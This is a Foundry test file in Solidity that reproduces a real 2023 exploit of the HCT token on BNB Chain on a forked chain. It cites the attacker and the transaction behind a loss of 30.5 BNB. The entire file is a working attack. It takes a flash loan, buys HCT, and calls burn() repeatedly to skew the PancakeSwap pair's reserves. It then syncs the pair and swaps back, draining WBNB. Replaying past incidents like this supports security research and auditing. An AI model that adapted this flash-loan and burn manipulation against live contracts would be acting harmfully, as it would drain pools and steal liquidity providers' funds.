src/test/2023-09/HCT_exp.sol

1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3 
4import "forge-std/Test.sol";
5import "./../interface.sol";
6 
7// @KeyInfo - Total Lost : 30.5BNB
8// Attacker : https://bscscan.com/address/0xc892d5576c65e5b0db194c1a28aa758a43bb42a5
9// Attack Contract : https://bscscan.com/address/0xd7a2fc756e1053b152f90990129f94c573e006fd
10// Attack Tx : https://bscscan.com/tx/0x84bd77f25cc0db493c339a187c920f104a69f89053ab2deabb93c35220e6dfc0
11 
12// @Analysis
13// Twitter Guy : https://twitter.com/leovctech/status/1699775506785198499
14 
15interface ICoinToken {
16    function balanceOf(
17        address account
18    ) external view returns (uint256);
19 
20    function transfer(address recipient, uint256 amount) external returns (bool);
21 
22    function allowance(address _owner, address spender) external view returns (uint256);
23 
24    function approve(address spender, uint256 amount) external returns (bool);
25 
26    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
27 
28    function burn(
29        uint256 _value
30    ) external;
31 
32    event Transfer(address indexed from, address indexed to, uint256 value);
33 
34    event Approval(address indexed owner, address indexed spender, uint256 value);
35}
36 
37contract ContractTest is Test {
38    IPancakePair PancakePair = IPancakePair(0xdbE783014Cb0662c629439FBBBa47e84f1B6F2eD);
39    IPancakeRouter router = IPancakeRouter(payable(0x10ED43C718714eb63d5aA57B78B54704E256024E));
40    ICoinToken HCT = ICoinToken(0x0FDfcfc398Ccc90124a0a41d920d6e2d0bD8CcF5);
41    IWBNB WBNB = IWBNB(payable(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c));
42    IDPPOracle DPPOracle = IDPPOracle(0xFeAFe253802b77456B4627F8c2306a9CeBb5d681);
43    uint256 baseAMount = 2_200_000_000_000_000_000_000;
44 
45    function setUp() public {
46        vm.createSelectFork("bsc", 31_528_198 - 1);
47        vm.label(address(PancakePair), "PancakePair");
48        vm.label(address(router), "PancakeRouter");
49        vm.label(address(WBNB), "WBNB");
50        vm.label(address(HCT), "HCT");
51        vm.label(address(DPPOracle), "DPPOracle");
52        approveAll();
53    }
54 
55    function testExploit() external {
56        uint256 startBNB = WBNB.balanceOf(address(this));
57        console.log("Before Start: %d BNB", startBNB);
58 
59        DPPOracle.flashLoan(baseAMount, 0, address(this), abi.encode(baseAMount));
60 
61        uint256 intRes = WBNB.balanceOf(address(this)) / 1 ether;
62        uint256 decRes = WBNB.balanceOf(address(this)) - intRes * 1e18;
63        console.log("Attack Exploit: %s.%s BNB", intRes, decRes);
64    }
65 
66    function DPPFlashLoanCall(address sender, uint256 amount, uint256 quoteAmount, bytes calldata data) external {
67        swapWBNBtoHCT();
68        burn();
69        PancakePair.sync();
70        swapHCTtoWBNB();
71        WBNB.transfer(address(DPPOracle), baseAMount);
72    }
73 
74    function swapWBNBtoHCT() internal {
75        uint256 amountIn = baseAMount;
76        address[] memory path = new address[](2);
77        (path[0], path[1]) = (address(WBNB), address(HCT));
78        router.swapExactTokensForTokensSupportingFeeOnTransferTokens(
79            amountIn, 1, path, address(this), type(uint256).max
80        );
81    }
82 
83    function burn() internal {
84        while (true) {
85            if (HCT.balanceOf(address(this)) <= 70) {
86                break;
87            }
88            HCT.burn(HCT.balanceOf(address(this)) * 8 / 10 - 1);
89        }
90    }
91 
92    function swapHCTtoWBNB() internal {
93        address[] memory path = new address[](2);
94        (path[0], path[1]) = (address(HCT), address(WBNB));
95        router.swapExactTokensForTokensSupportingFeeOnTransferTokens(
96            HCT.balanceOf(address(this)), 10, path, address(this), type(uint256).max
97        );
98    }
99 
100    function approveAll() internal {
101        WBNB.approve(address(router), baseAMount);
102        HCT.approve(address(router), baseAMount);
103    }
104}